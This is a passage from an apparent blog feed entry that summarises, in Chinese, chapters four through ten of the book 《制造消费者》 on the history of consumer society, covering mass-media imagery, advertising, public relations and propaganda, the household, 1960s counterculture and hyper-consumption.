id="第四章-商品的幻影：图像在日常生活中的入侵和扩散">第四章 商品的幻影：图像在日常生活中的入侵和扩散</h2><p>如果说前几章讲述了消费社会的「实体」——市场、商店和商品，那么这一章则完全转向了 <strong>「虚体」</strong> 。核心论点是：<strong>消费主义的全面胜利，有赖于一场视觉革命。大众媒体的崛起，让商品的「幻影」（即图像）脱离了物理货架，侵入到每个人的日常生活和精神世界中，从而制造了我们共同的消费想象。</strong></p><p>这一章描绘了商品是如何通过三种递进的媒介，实现其「幽灵般」无处不在的存在的。</p><h3 id="1-初始入侵：印刷品打破精神自足">1. 初始入侵：印刷品打破精神自足</h3><p>在19世纪之前，大多数人生活在 <strong>「精神自足」</strong> 状态中：他们的世界观和想象力局限于自己村庄的范围，15公里外就如同外国。</p><p>改变这一切的是<strong>工业化印刷技术</strong>。廉价、大量的印刷品，尤其是彩色的石版画，成为商业的「先锋部队」：</p><ul><li><p><strong>商业画片与商品目录</strong>：百货公司和品牌商大量免费派发印有精美图案的画片，孩子们热衷于收集，并在不知不觉中完成了对品牌的认知教育。而在偏远地区，邮购商品目录甚至成了孩子们的「百科全书」，教他们识字、算术，并向他们展示了一个琳琅满目的新世界。</p></li><li><p><strong>打破孤立，创造「想象的社群」</strong> ：报纸、杂志、目录等印刷品，让身处不同地方的人们开始阅读同样的新闻、观看同样的图片、渴望同样的商品。这打破了地域隔绝，让人们在精神上加入了一个由读者和观众组成的、超越地理的 <strong>「想象的消费社群」</strong> 。</p></li></ul><h3 id="2-精心构建：杂志成为「掌上商店」">2. 精心构建：杂志成为「掌上商店」</h3><p><strong>杂志是第一个完全致力于消费的大众媒体</strong>：</p><ul><li><p><strong>结构模仿商店</strong>：「Magazine」一词本意就是「仓库」或「商店」。杂志的栏目就像商店的部门，通过多样化的内容吸引不同读者。</p></li><li><p><strong>广告与内容共生</strong>：杂志的盈利模式不是靠卖杂志给读者，而是靠<strong>将读者的「注意力」卖给广告商</strong>。因此，杂志的内容和广告形成了完美的共生关系：一篇关于个人卫生的文章旁，必然紧邻着一则肥皂广告。为了让广告效果更好，商家甚至会把广告伪装成新闻报道，或直接出资刊登看似客观的赞美文章。</p></li><li><p><strong>三大功能</strong>：</p><ol><li><strong>消费教育</strong>：向读者灌输新标准和新焦虑（如「口臭」、「微生物」），再提供相应的产品作为解决方案。</li><li><strong>植入社会想象</strong>：杂志刻意忽略贫穷、劳作等现实问题，只展现一个富裕、光鲜、没有阶级矛盾的上流社会，为读者提供一个可供幻想和投射的「海市蜃楼」。</li><li><strong>使商品平常化</strong>：通过小说和故事，将一些有争议的新产品（如给女性骑的自行车）包装成浪漫、美好的事物，化解社会阻力，使其变得「正常」。</li></ol></li></ul><h3 id="3-终极幻想：电影制造「白日梦」">3. 终极幻想：电影制造「白日梦」</h3><p>电影的出现，将图像的投射力发挥到了极致。它凭借动态的画面、音乐和情感，为观众提供了<strong>前所未有的沉浸式体验</strong>：</p><ul><li><p><strong>流动的橱窗</strong>：电影就像一个「配上了音乐和情感的商店橱窗」。好莱坞电影大量展示奢华的派对、豪宅和服饰，让观众在黑暗的影院里尽情做着消费的「白日梦」。</p></li><li><p><strong>明星成为活广告</strong>：电影明星的形象成了观众模仿的对象，他们的发型、妆容、服饰迅速成为潮流。这催生了电影公司和品牌商（如通用汽车、珠宝商）之间密切的商业合作，电影场景也常常是为了植入商品而专门设计的。</p></li><li><p><strong>引发不满与渴望</strong>：电影通过展现一种迷人但脱离现实的奢华生活，让大多数普通观众<strong>感受到了自己真实生活的不完美</strong>。这种由比较而生的不满，又反过来刺激了人们的消费欲望。</p></li></ul><p><strong>小结</strong>：第四章揭示了消费社会能够全面渗透的秘密武器——<strong>大众媒体</strong>。通过印刷品、杂志和电影，商业不仅是在推销产品，更是在<strong>生产和传播一整套关于「美好生活」的想象</strong>。它为消费者提供了一面理想的镜子，让他们在自我投射和比较中，产生永不满足的欲望，并最终将「自我」变成一个需要通过不断消费来构建和完善的「项目」。</p><hr><h2 id="第五章-消费心态：商品化带来的心理变化">第五章 消费心态：商品化带来的心理变化</h2><p>如果说前面的章节是关于外部世界的变革，那么这一章则直抵问题的核心，探讨了一场深刻的<strong>内部革命</strong>： <strong>现代人的思想、价值观和精神世界是如何被重塑，以适应一个全新的消费社会的？</strong> 这是一个从 <strong>「生产心态」</strong> 到 <strong>「消费心态」</strong> 的剧烈转变过程。</p><h3 id="1-旧世界：集体至上的「生产心态」">1. 旧世界：集体至上的「生产心态」</h3><p>在市场经济出现之前，人们生活在紧密的社群中，他们的心态由两个核心要素决定：</p><ul><li><p><strong>集体主义</strong>：个人的生存完全依赖集体。无论是收割粮食还是家庭婚嫁，都离不开社群的协作和监督。个人主义不仅不被提倡，甚至是危险和不可思议的。</p></li><li><p><strong>禁欲主义</strong>：由于物质匮乏、死亡率高，人们普遍崇尚节约、勤奋、谨慎等品德。消费被视为一种奢侈和堕落，新鲜事物则意味着巨大的风险。</p></li></ul><h3 id="2-年轻人的「出逃」：市场成为解放的工具">2. 年轻人的「出逃」：市场成为解放的工具</h3><p>这场心态革命的先锋，是19世纪末20世纪初的<strong>年轻人</strong>。他们是第一代在市场环境中成长起来的人，市场为他们的「出逃」提供了强大的工具：</p><ul><li><p><strong>物理逃离</strong>：自行车和汽车的出现，让年轻情侣可以轻易地逃离长辈的监视，去往城市的舞厅、电影院、游乐园等商业化娱乐场所。</p></li><li><p><strong>精神逃离</strong>：这些新兴的商业空间，其经营逻辑就是<strong>鼓励人们摆脱传统束缚</strong>。例如，游乐园里惊险的设施会促使情侣拥抱，舞厅里自由选择舞伴的规则鼓励人们展现个人魅力。娱乐从一种免费的集体活动，变成了一种需要花钱购买的个人化服务。</p></li></ul><p><strong>舞蹈的演变</strong>作为绝佳的例子，浓缩了整个心态变迁史：</p><ul><li><strong>传统舞蹈</strong>：集体性的环舞，动作整齐划一，服务于生产或仪式，没有个人表现空间。</li><li><strong>现代舞蹈</strong>：转变为华尔兹等情侣舞蹈，强调个人间的亲密互动。</li><li><strong>爵士时代舞蹈</strong>：即兴、自由、充满个人表达和竞争，彻底成为享乐主义的活动。</li></ul><h3 id="3-新世界：「消费心态」的诞生">3. 新世界：「消费心态」的诞生</h3><p>与旧的「生产心态」相对，「消费心态」的核心是：</p><ul><li><p><strong>自我实现</strong>：消费的目的不再是满足基本需求，而是为了<strong>表达和构建自我</strong>。人的价值更多地通过他拥有什么来体现。</p></li><li><p><strong>「自我」成为一个永恒的项目</strong>：在这种心态下，「自我」不是与生俱来的，而是需要利用市场提供的符号资源（商品、服务、生活方式）来不断建设和重塑的。过去人们关心「品德」，现在则更关心「个性」和「魅力」。</p></li><li><p><strong>欲望的正常化</strong>：过去被视为罪恶的欲望、享乐和不满，现在被新的思想（如经济学、进化论、弗洛伊德主义）「科学地」解释为人类进步的动力和与生俱来的本能。压抑欲望反而被认为是不健康的。</p></li></ul><h3 id="4-「解放」的代价：卷土重来的新束缚">4. 「解放」的代价：卷土重来的新束缚</h3><p>这种新心态的终极化身，就是20世纪20年代的 <strong>「随意女郎」（Flapper）</strong>。她们通过消费特定的商品（短发、化妆品、香烟、无袖连衣裙）来展现自己的独立、反叛和解放。</p><p>然而，这是一种<strong>充满悖论的「解放」</strong> ：</p><ul><li><p>当女性从紧身胸衣中解放出来时，她们又被束缚在新的「审美标准」里：必须保持苗条的身材（节食）、必须购买新兴化妆品行业的全套产品来精心打扮。</p></li><li><p>女性的身体，变成了一个需要被精心管理、不断改进的 <strong>「消费项目」</strong> 。过去女孩们在日记里希望提升自己的内在品德，而20世纪的女孩则计划着如何通过消费来改善自己的外表。</p></li></ul><p><strong>小结</strong>：第五章揭示了消费社会最深刻的变革——<strong>人心的变革</strong>。它讲述了一个关于「欲望」如何被从牢笼中释放、被赋予正当性、并最终成为现代人定义自我的核心工具的故事。然而，这种以消费为基础的「自由」和「自我表达」，在挣脱旧枷锁的同时，也为我们带来了更加隐蔽、更加内化的新枷锁。</p><hr><h2 id="第六章-社会工程：意识管理与商业秩序合法化">第六章 社会工程：意识管理与商业秩序合法化</h2><p>这一章探讨了一个更宏大且令人不安的问题：<strong>在消费社会建立的过程中，那些掌控了经济命脉的大型公司，是如何应对公众的敌意和反抗，并最终将自己所主导的商业秩序塑造成一种「天经地义」、无可置疑的社会共识的？</strong></p><p>答案是：通过一场精心策划的、持续近一个世纪的 <strong>「社会工程」（Social Engineering）</strong>，即对公众意识的系统化管理和引导。</p><h3 id="1-理论源头：对「人群」的恐惧与操纵术">1. 理论源头：对「人群」的恐惧与操纵术</h3><p>19世纪末，欧洲的革命与罢工浪潮让精英阶层对「民众」或「乌合之众」产生了极大的恐惧。这种恐惧催生了一门新学科——<strong>人群心理学</strong>。</p><ul><li><p><strong>古斯塔夫·勒庞（Gustave Le Bon）</strong> 的理论是其核心。他认为，人群是非理性的、情绪化的，像温顺的羊群一样，会本能地屈从于一个强有力的「头领」。</p></li><li><p><strong>关键洞察</strong>：这意味着，「人群」既是危险，也是<strong>可以被操纵的对象</strong>。勒庞指出，「掌握了影响群众想象力的艺术，也就掌握了统治他们的艺术」。</p></li><li><p><strong>从「人群」到「公众」</strong> ：学者加布里埃尔·塔尔德则补充说，现代社会的主要力量不再是聚集在一起的「人群」，而是被报纸等媒介连接起来的、精神上的 <strong>「公众」</strong> 。这种「公众」更容易被媒体所引导和塑造。</p></li></ul><p>这一系列理论，为20世纪大规模的意识形态操控奠定了思想基础。</p><h3 id="2-企业实践：用公共关系（PR）化解危机">2. 企业实践：用公共关系（PR）化解危机</h3><p>20世纪初，美国的大型垄断公司（如洛克菲勒的石油帝国）成了众矢之的，被称为「强盗大亨」。揭露他们黑幕的「扒粪者」记者，激起了强烈的社会反感和政府监管的呼声。</p><p>为了自救，<strong>公共关系（Public Relations, PR）<strong>这门专业应运而生。其核心任务不是销售产品，而是</strong>重塑公司形象，赢得公众舆论</strong>。</p><p><strong>教科书案例：AT&amp;T</strong></p><ul><li><p><strong>困境</strong>：作为电话业的垄断者，AT&amp;T形象恶劣，面临被国有化的风险。</p></li><li><p><strong>公关策略</strong>：他们发动了一场教科书级别的公关战。他们<strong>并不直接反驳「垄断」的指控</strong>，而是采取了更聪明的做法：</p><ol><li><strong>重讲故事</strong>：将冷冰冰的「贝尔系统」包装成由小公司组成的、友好的「贝尔公司」联盟。</li><li><strong>占据道德高地</strong>：声称「自然垄断」才能保证最好的服务，这是为了公众利益。</li><li><strong>情感化身</strong>：在广告中大量展示热情友好的接线员和工程师，将公司人格化为「公共服务的英雄」。</li><li><strong>身份认同</strong>：刊登普通母亲作为股东收到股息的广告，暗示AT&amp;T是属于千百万美国人民的，攻击它就是攻击自己人。</li></ol></li></ul><h3 id="3-国家级演练：第一次世界大战的宣传机器">3. 国家级演练：第一次世界大战的宣传机器</h3><p><strong>第一次世界大战</strong>是「社会工程」技术的一次大规模演练和升级。为了让民众支持战争，各国政府都建立起庞大的宣传机器：</p><ul><li><p><strong>核心手段</strong>：不是压制信息，而是<strong>用海量的、单一方向的信息淹没一切</strong>。通过不断重复「己方是正义的、敌方是野蛮的」这一叙事，让其他声音无法被听见。</p></li><li><p><strong>关键创新：「四分钟志愿者」</strong> 。美国公共信息委员会（CPI）招募了数万名社会上有影响力的普通人（今天的「意见领袖」），在电影院等公共场所发表简短的爱国演说。这让国家的宣传看起来像是发自民间的真实声音，从而极大地增强了说服力。</p></li></ul><h3 id="4-系统化理论：「制造共识」">4. 系统化理论：「制造共识」</h3><p>战后，那些在国家宣传机器里工作过的专家——如<strong>爱德华·伯内斯</strong>（他用「公共关系」一词替换了名声不好的「宣传」）——将一整套理论和方法带回了企业界。</p><ul><li><p><strong>「制造共识」（Manufacturing Consent）</strong>：伯内斯和思想家沃尔特·李普曼等人明确提出，由于普通民众是无知和非理性的，现代社会必须由「智慧的少数精英」通过专业的公关手段来引导舆论、塑造共识，以维护社会稳定。</p></li><li><p><strong>实践应用</strong>：美国全国制造商协会（NAM）等大型企业联盟，在二战后投入上亿美元，发起了一场旨在「向美国人民推销美国生活方式」的宏大宣传活动，将企业自由、资本主义与爱国、民主、幸福生活等概念牢牢绑定在一起。</p></li></ul><p><strong>小结</strong>：第六章揭示了一个惊人的事实：我们今天所接受的商业社会秩序，并非自然而然形成的。它是20世纪的大型公司和国家机构，借鉴了对「人群」的社会心理学研究，通过公共关系和大规模宣传等「社会工程」手段，<strong>精心「制造」并合法化的结果</strong>。这个过程成功地将大型资本从「民主的威胁」，转变成了「民主的化身」，并让这套商业逻辑深植于公众的常识之中。</p><hr><h2 id="第七章-「符号工程」：广告的力量与弱点">第七章 「符号工程」：广告的力量与弱点</h2><p>在前一章，我们看到了大型公司如何通过「社会工程」来使整个商业秩序合法化。这一章则聚焦于这个工程中最具体、最常见的工具——<strong>广告</strong>。这一章提出了一个非常辩证的观点：首先<strong>戳破了广告无所不能的「神话」</strong> ，然后又深刻地揭示了它<strong>真正强大而隐蔽的力量所在</strong>。</p><h3 id="1-戳破神话：广告并非「大规模催眠术」">1. 戳破神话：广告并非「大规模催眠术」</h3><p>我们常常听说一些传奇故事，认为广告大师能像催眠师一样操纵公众的潜意识。作者在本章重点分析了两位「大师」的传说：</p><ul><li><p><strong>爱德华·伯内斯（Edward Bernays）</strong>：他最著名的案例，是通过将香烟包装成「自由的火炬」，成功让女性在公共场合吸烟。但实际上，这更像是伯内斯本人的自我营销。事实上，女性吸烟的趋势早已开始，伯内斯的活动只是顺应并加速了这一文化变迁，并非凭空创造了它。</p></li><li><p><strong>恩斯特·迪希特（Ernst Dichter）</strong>：他声称运用精神分析（如将吸烟比作口欲期快感）来挖掘消费者深层的、连自己都不知道的购买动机。但迪希特更像一个会讲故事的「商人」，其理论缺乏科学严谨性，但他很懂得如何向客户和媒体推销自己的「神力」。</p></li></ul><p>将广告视为能直接「注射」到大脑里的「皮下注射器」是一种误解。消费者的习惯根深蒂固，广告的直接效果远比我们想象的要有限。</p><h3 id="2-揭示真相：广告是「联想」与「焦虑」的艺术">2. 揭示真相：广告是「联想」与「焦虑」的艺术</h3><p>那么，如果广告不是催眠术，它真正的力量是什么？答案是两个核心方面：</p><p><strong>A. 符号联想的艺术（The Art of Association）</strong></p><p>现代广告的本质，不是描述产品功能，而是<strong>为商品注入符号意义</strong>。它擅长将产品与我们内心已有的渴望和美好的想象<strong>关联</strong>起来。</p><ul><li><strong>案例：肥皂广告</strong>。一个平平无奇的肥皂，要如何变得与众不同？广告商没有强调它的去污能力，而是通过画面，将它与<strong>上流社会的尊贵</strong>和<strong>浪漫的爱情诱惑</strong>联系在一起。伍德伯里肥皂的著名口号「A skin you love to touch」（惹人爱抚的肌肤），就是这种联想艺术的典范。消费者购买的不再是肥皂，而是一种关于「魅力」和「阶层」的想象。</li></ul><p><strong>B. 制造焦虑的艺术（The Art of Creating Anxiety）</strong></p><p>这是一种更直接的策略：<strong>先为你「发明」一个你之前从未意识到的问题，然后再把产品作为唯一的解决方案卖给你</strong>。</p><ul><li><strong>经典案例：李施德林（Listerine）</strong>。在20世纪初，几乎没人知道「口臭」（halitosis）这个词。李施德林的广告通过描绘大量因「口臭」而在社交、恋爱中惨遭失败的痛苦场景，成功地将「口臭」变成了一种可怕的社交顽疾。于是，消费者感到了前所未有的焦虑，而李施德林漱口水就成了治愈这种焦虑的「灵丹妙药」。</li></ul><h3 id="3-终极力量：「资本现实主义」的意识形态">3. 终极力量：「资本现实主义」的意识形态</h3><p>最后将视野从单个广告拓宽到整个商业媒体环境（包括电影、杂志等）。提出了本章最重要的概念—— <strong>「资本现实主义」（Capitalist Realism）</strong>。</p><ul><li><p><strong>一个被精心编辑过的世界</strong>：商业媒体为我们呈现的，是一个<strong>半真半假</strong>的理想世界。在这个世界里，没有生产、没有劳作、没有贫穷、没有社会冲突；只有漂亮的、快乐的中产阶级，在舒适的家里享受着休闲时光，通过消费来解决一切问题。</p></li><li><p><strong>「结构性缺席」的力量</strong>：「资本现实主义」最强大的力量，在于它<strong>系统性地「不谈什么」</strong> 。通过对生产过程和劳动世界的刻意回避，它让消费主义的价值观看起来像是唯一存在、且理所当然的「常识」。</p></li><li><p><strong>最终效果：引发不满，塑造自我</strong>：这个理想化的世界，与消费者的现实生活形成了鲜明的差距，从而不断地<strong>引发人们对现状的不满</strong>。正如一本广告杂志所说：「令人满意的广告是赚不到钱的，令人不满才能招揽更多顾客」。这种不满，最终驱使着人们将自己的身体和生活，都视为一个需要通过不断消费来改善和完善的「项目」。</p></li></ul><p><strong>小结</strong>：第七章告诉我们，广告的威力不在于强制性的「洗脑」，而在于其更柔软、更持久的<strong>文化塑造功能</strong>。它通过<strong>艺术化的联想</strong>和<strong>策略性的焦虑</strong>，将商品的符号价值植入人心。更重要的是，所有商业话语共同构建了一个名为「资本现实主义」的理想幻境，它通过对现实的过滤和美化，让消费成了我们解决一切问题的默认方案，让消费主义成了我们呼吸的空气。</p><hr><h2 id="第八章-家庭中的消费主义：封闭的住宅与消费分工">第八章 家庭中的消费主义：封闭的住宅与消费分工</h2><p>在探讨了商场、媒介等公共领域后，这一章将镜头拉回到了我们最私密的空间—— <strong>「家」</strong> 。要揭示的是，<strong>现代家庭并非天然的、温馨的避风港，而是被市场逻辑深度改造过的、一个充满消费分工和技术理性的「工作坊」。</strong></p><p>本章的核心观点是：家从一个<strong>生产单位</strong>，转变成了一个<strong>消费单位</strong>，并在这个过程中，形成了以女性为核心的、新的消费劳动分工。</p><h3 id="1-空间革命：从生产作坊到私密「堡垒」">1. 空间革命：从生产作坊到私密「堡垒」</h3><p>首先对比了两种截然不同的「家」：</p><ul><li><p><strong>传统之家</strong>：农民和工匠的家，是生产和生活混杂在一起的开放空间，里面堆满工具，邻里间可以随意走动，几乎没有隐私可言。</p></li><li><p><strong>现代之家</strong>：始于19世纪资产阶级的理想，家变成了一个<strong>封闭、私密、追求舒适的「避难所」</strong> 。这里有清晰的功能分区（卧室、客厅、厨房）、隔音隔热的墙壁和窗帘，以及各种锁具和门铃来过滤外界的打扰。</p></li></ul><p>随着技术（自来水、电）的普及，这种追求舒适和私密的资产阶级家庭模式，在20世纪逐渐「涓滴」到普通民众家庭中，成为了我们今天所熟悉的家的样板。</p><h3 id="2-角色重塑：母亲成为家庭的「消费总管」">2. 角色重塑：母亲成为家庭的「消费总管」</h3><p>家庭空间的变化，带来了家庭成员角色的深刻重塑，尤其是女性：</p><ul><li><p><strong>性别分工的固化</strong>：当男性走出家门去工厂和市场从事有薪的「生产」工作时，留在家中的女性则承担起了无薪的、通过花钱来维持家庭运转的「消费」工作。这实际上<strong>降低了女性的经济地位</strong>。</p></li><li><p><strong>从主妇到「家庭工程师」</strong> ：随着家用电器（吸尘器、洗衣机）的普及，家务劳动不再那么费体力，但却变得<strong>越来越费脑力，越来越像一门技术活</strong>。20世纪的媒体和各种家政手册，都在宣扬一种「家庭合理化」运动，教导女性运用泰勒式的科学管理方法来规划家务、提升效率，将她们塑造成了家庭的 <strong>「工程师」</strong> 和 <strong>「企业家」</strong> 。</p></li><li><p><strong>「功能性」成为新的炫耀</strong>：即便家庭装潢变得简洁、强调功能性，但这并未改变其作为地位象征的本质。人们炫耀的不再是华丽的雕刻，而是<strong>最高效、最先进的家用设备</strong>。</p></li></ul><h3 id="3-新的目标：孩子成为消费的「指南针」">3. 新的目标：孩子成为消费的「指南针」</h3><p>在现代家庭这个消费单位中，<strong>孩子</strong>成为了中心：</p><ul><li><p><strong>从劳动力到投资品</strong>：儿童不再是家庭的额外劳动力，而是被父母倾注大量情感和金钱来培养的 <strong>「投资对象」</strong> 。孩子的健康、快乐和成功，成了衡量一个家庭（尤其是母亲）是否成功的标志，这给母亲带来了新的焦虑。</p></li><li><p><strong>儿童成为市场的重要盟友</strong>：</p><ol><li><strong>直接目标</strong>：针对儿童的玩具、糖果、服装等产业蓬勃发展。</li><li><strong>影响父母的「直销人员」</strong> ：商家很早就发现， <strong>「通过孩子控制父母」</strong> 是绝佳的策略。孩子们对广告更敏感，也更善于用纠缠不休的方式，让父母为他们（甚至为整个家庭）购买商品。</li><li><strong>未来的消费者</strong>：电视等媒体成了「保姆机」，在潜移默化中对儿童进行消费教育，从小就塑造了他们的品牌偏好和消费习惯。</li></ol></li></ul><p><strong>小结</strong>：第八章将消费主义的分析带入了最微观的日常生活单元。它告诉我们，「家」并非市场的避风港，而是市场逻辑的延伸和实现地。现代家庭的结构、家务劳动的分配、亲子关系的模式，都被消费主义深刻地重塑了。母亲成了确保家庭这部「消费机器」高效运转的工程师，而孩子则既是这部机器服务的核心，也是驱动它不断更新换代的强大引擎。</p><hr><h2 id="第九章-新消费精神：漫长的60年代和市场的重振">第九章 新消费精神：漫长的60年代和市场的重振</h2><p>这一章充满了悖论和反转，可以说是全书思想最深刻、最具有颠覆性的章节之一。要探讨的是一个核心问题：<strong>20世纪60年代那场声势浩大的、反抗消费社会循规蹈矩的「反主流文化」运动，最终是摧毁了消费主义，还是反而成为了它最强大的「兴奋剂」？</strong></p><p>答案是后者。这场以「反叛」为名的运动，非但没有终结市场，反而为其注入了全新的、更强大的活力。</p><h3 id="1-背景：对「从众」的普遍焦虑">1. 背景：对「从众」的普遍焦虑</h3><p>20世纪50年代，战后经济的繁荣带来了一个物质富足但精神压抑的社会。人们普遍感到，生活在大型公司和郊区住宅里的自己，变得像「穿着灰色法兰绒套装的男人」一样，千人一面，失去了个性和灵魂。</p><ul><li><strong>青年文化的反抗</strong>：在这种背景下，以詹姆斯·迪恩等为偶像的青年亚文化开始兴起。他们用摇滚乐、皮夹克和一种「无因的反叛」姿态，来对抗成人世界的刻板和无趣。像英国的「摩登派」和「摇滚派」这两个敌对的青年部落，就是通过截然不同的消费选择（西装与皮衣、踏板车与重型摩托）来定义各自的身份认同。</li></ul><h3 id="2-革命的转向：从阶级斗争到内心解放">2. 革命的转向：从阶级斗争到内心解放</h3><p>这场反抗迅速获得了理论支持，但其矛头发生了根本性的转变：</p><ul><li><p><strong>新左派思想</strong>：以马尔库塞等思想家为代表，他们认为现代资本主义的主要压迫，不再是经济上的剥削，而是对人性的、欲望的 <strong>「过度镇压」</strong> 。</p></li><li><p><strong>革命的目标是「解放自我」</strong> ：因此，革命不再是去推翻国家机器，而是要 <strong>「把资产阶级从你的脑袋里赶出去」</strong> 。斗争的目标变成了追求个体的解放、感官的愉悦和「本真」的自我。</p></li><li><p><strong>「反主流文化」的诞生</strong>：嬉皮士等群体出现了。他们崇拜艺术家、罪犯等一切 <strong>「体制外」</strong> 的边缘人形象，因为这些人被视为是「真实的」。他们通过模仿这些边缘人的生活方式（如穿着破烂、追求流浪），来表达对主流社会的反抗。</p></li></ul><h3 id="3-惊人的反转：资本主义如何被「反叛」所拯救">3. 惊人的反转：资本主义如何被「反叛」所拯救</h3><p>这正是本章最核心的论点。这场反主流文化运动，无意中为陷入僵化和从众危机的资本主义<strong>送上了三份大礼</strong>：</p><ol><li><p><strong>欲望的彻底解放</strong>：它摧毁了节俭、储蓄的旧道德，将追求享乐和自我表达正当化，从而极大地<strong>刺激了消费需求</strong>。</p></li><li><p><strong>消费循环的极速化</strong>：对「本真」和「独特」的无尽追求，使得任何一种风格一旦流行，就会立刻被视为「不酷」而被抛弃。这使得<strong>时尚周期空前缩短</strong>，大大加速了商品的更迭和流通。</p></li><li><p><strong>市场的多元化与细分</strong>：过去，市场试图用一种标准满足所有人；现在，各种「部落」的出现，让市场学会了 <strong>「细分」</strong> 。商家可以同时为嬉皮士、朋克、主流青年等所有群体提供不同的产品，从文化的每一个角落获利。</p></li></ol><p>反主流文化<strong>从一开始就是商业的</strong>。摇滚乐需要唱片工业，嬉皮士的时尚由先锋精品店推动，媒体则为了吸引眼球而大肆报道这些「酷」文化。</p><h3 id="4-广告的「进化」：从说教者到同谋者">4. 广告的「进化」：从说教者到同谋者</h3><p>面对这种「新精神」，最先做出反应并完成「进化」的是广告业：</p><ul><li><p><strong>旧广告</strong>：风格专制、高高在上，像个家长一样告诉你什么是「好」的，你应该遵守什么标准。</p></li><li><p><strong>新广告</strong>：以大众汽车（Volkswagen）的经典广告为标志，新广告学会了<strong>反讽、自嘲和幽默</strong>。它不再推销产品有多么「卓越」，而是告诉你选择它意味着你是一个「聪明」、「不盲从」的独立个体。</p></li><li><p><strong>广告成为「反叛」的同盟</strong>：广告不再扮演体制的喉舌，反而站到了消费者一边，和他们一起嘲笑体制的僵化。苹果公司的著名广告《1984》，就是将自己塑造成一个挑战独裁「老大哥」（暗指IBM）的、充满创造力的「解放者」。「做自己」、「非同凡想」成了新的、更有效的营销口号。</p></li></ul><p><strong>小结</strong>：第九章揭示了消费资本主义惊人的<strong>适应和吸收能力</strong>。一场旨在推翻其精神基础的文化大革命，最终却被它巧妙地吸收、利用，并转化为使其重获新生的强大动力。资本主义学会了最重要的一课：<strong>贩卖「反叛」比贩卖「顺从」更有利可图</strong>。从此，消费主义不再以统一、僵化的面目出现，而是以多元、个性、追求本真的「新精神」外衣，更深地融入了我们的文化和生活。</p><hr><h2 id="第十章-超级消费者：呈指数增长的未来">第十章 超级消费者：呈指数增长的未来</h2><p>这一章是全书的总结与升华。不再引入全新的历史阶段，而是用一种宏大而有力的视角，向我们展示了前九章所描述的一切历史趋势，在当代（尤其是1960年代之后）是如何以<strong>指数级的速度疯狂加速</strong>的，并最终对这种无尽的增长提出了一个发人深省的警示。</p><h3 id="1-全面加速：历史趋势的当代回响">1. 全面加速：历史趋势的当代回响</h3><p>首先回顾了全书的核心主题，并指出它们在今天都达到了前所未有的强度：</p><ul><li><p><strong>物流加速与拜物教深化</strong>：集装箱海运和信息技术，让全球商品流通的速度快到几乎可以忽略不计。这使得我们与商品的生产过程距离更远，第一章所说的「商品拜物教」也因此更加根深蒂固。我们能修理古老的福特T型车，却完全无法理解智能手机这个「黑箱」。</p></li><li><p><strong>媒介入侵与个体孤岛</strong>：互联网和智能手机，将第四章所述的「图像入侵」推向了极致。我们被信息的海洋包裹，每个人都可以沉浸在自己的小众文化「部落」中。同时，这些个人化的媒介也让家庭成员被隔绝在各自的屏幕里，成为了一个个「频率」无法相通的孤岛。</p></li></ul><h3 id="2-核心悖论：「自由消费者」的神话与现实">2. 核心悖论：「自由消费者」的神话与现实</h3><p>本章尖锐地指出了当代消费主义意识形态的核心矛盾：</p><ul><li><p><strong>神话：消费者是自由的创造者</strong>。一些后现代思想家，将消费者赞美为自由的、充满创造力的个体，认为消费将人们从僵化的阶级斗争中解放了出来，可以自由地选择和构建自己的「生活方式」（life-style）。在这种神话里，消费者是「自己身份的企业家」。</p></li><li><p><strong>现实：自由是少数人的特权</strong>。随即用印度贫民窟的案例，无情地戳破了这个神话。所谓「消费自由」，只是全球化世界中一小部分精英的特权。这种自由，恰恰是建立在对另一部分人（那些为我们生产廉价商品的群体）的系统性剥削之上的。我们之所以能尽情赞美消费，恰恰是因为「生产」这个环节被巧妙地「结构性缺席」了。</p></li></ul><h3 id="3-终极幻想：当消费者本身成为商品">3. 终极幻想：当消费者本身成为商品</h3><p>将目光投向未来，对「自我作为消费项目」这一理念进行了终极推演：</p><ul><li><p><strong>超人类主义与赛博格（Cyborg）</strong>：探讨了超人类主义者的幻想——未来，人们可以通过生物技术和各种高科技假体，来增强、改造甚至重塑自己。</p></li><li><p><strong>消费者的终极形象</strong>：「赛博格」将成为消费者的最终形态，一个可以像组装工程项目一样「建设自己」的人。在这种幻想中，人彻底摆脱了生物性的束缚，获得了定义自我的全部权力，但也因此，人与商品之间的界限被彻底消除了。</p></li></ul><h3 id="4-最后的警示：大树长不到天上去">4. 最后的警示：大树长不到天上去</h3><p>在全书的结尾，笔调变得冷静而凝重。提醒我们，这个看似无所不能、呈指数级增长的全球消费体系，其根基却异常脆弱：</p><ul><li><strong>它建立在对不可再生资源（矿物、化石燃料）的消耗之上。</strong></li><li><strong>它复杂的全球供应链，既紧密相连，又极度脆弱。</strong></li></ul><p>引用了一句金融学谚语：「大树高不过天」（大树长不到天上去）。暗示，我们所见的这场持续了两个世纪的消费主义盛宴，可能只是历史的一个特定阶段。写下了消费主义的「开端史」，而它的「结尾史」，或许将在几十年后由其他人来书写。</p><hr><h2 id="总结">总结</h2><p>《制造消费者》这本书，为我们提供了一幅详尽的、关于我们所处时代的历史地图。它告诉我们，消费社会并非自然天成，而是一系列技术、商业、社会和心理力量共同作用、精心构建的结果。从铁路到互联网，从百货商店到智能手机，从「商品拜物教」到「资本现实主义」，我们看到了一个系统如何学会制造商品，并最终学会了「制造」我们自己——消费者。</p><p>这本书的价值在于为我们提供了一个批判性的视角，去重新审视我们与商品、与市场、乃至与自我的关系。它让我们明白，我们今天习以为常的消费主义生活方式，实际上是一个历史性的、可以被改变的社会建构。</p>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/career/making-of-consumer/</id>
    <link href="https://www.blog-blockchain.xyz/career/making-of-consumer/"/>
    <published>2025-06-14T18:11:20.000Z</published>
    <summary>《制造消费者》详细梳理了消费社会的诞生史，从19世纪铁路打破地域隔绝、百货商店营造购物「剧场」，到广告业塑造符号价值、媒体制造消费想象。本书揭示了消费主义如何通过技术革新、心理操控和文化重塑，将人们从生产者转变为消费者，最终让消费成为现代人定义自我和追求幸福的核心方式。</summary>
    <title>制造消费者</title>
    <updated>2026-02-19T16:18:01.138Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="think" scheme="https://www.blog-blockchain.xyz/categories/think/"/>
    <category term="life" scheme="https://www.blog-blockchain.xyz/tags/life/"/>
    <content>
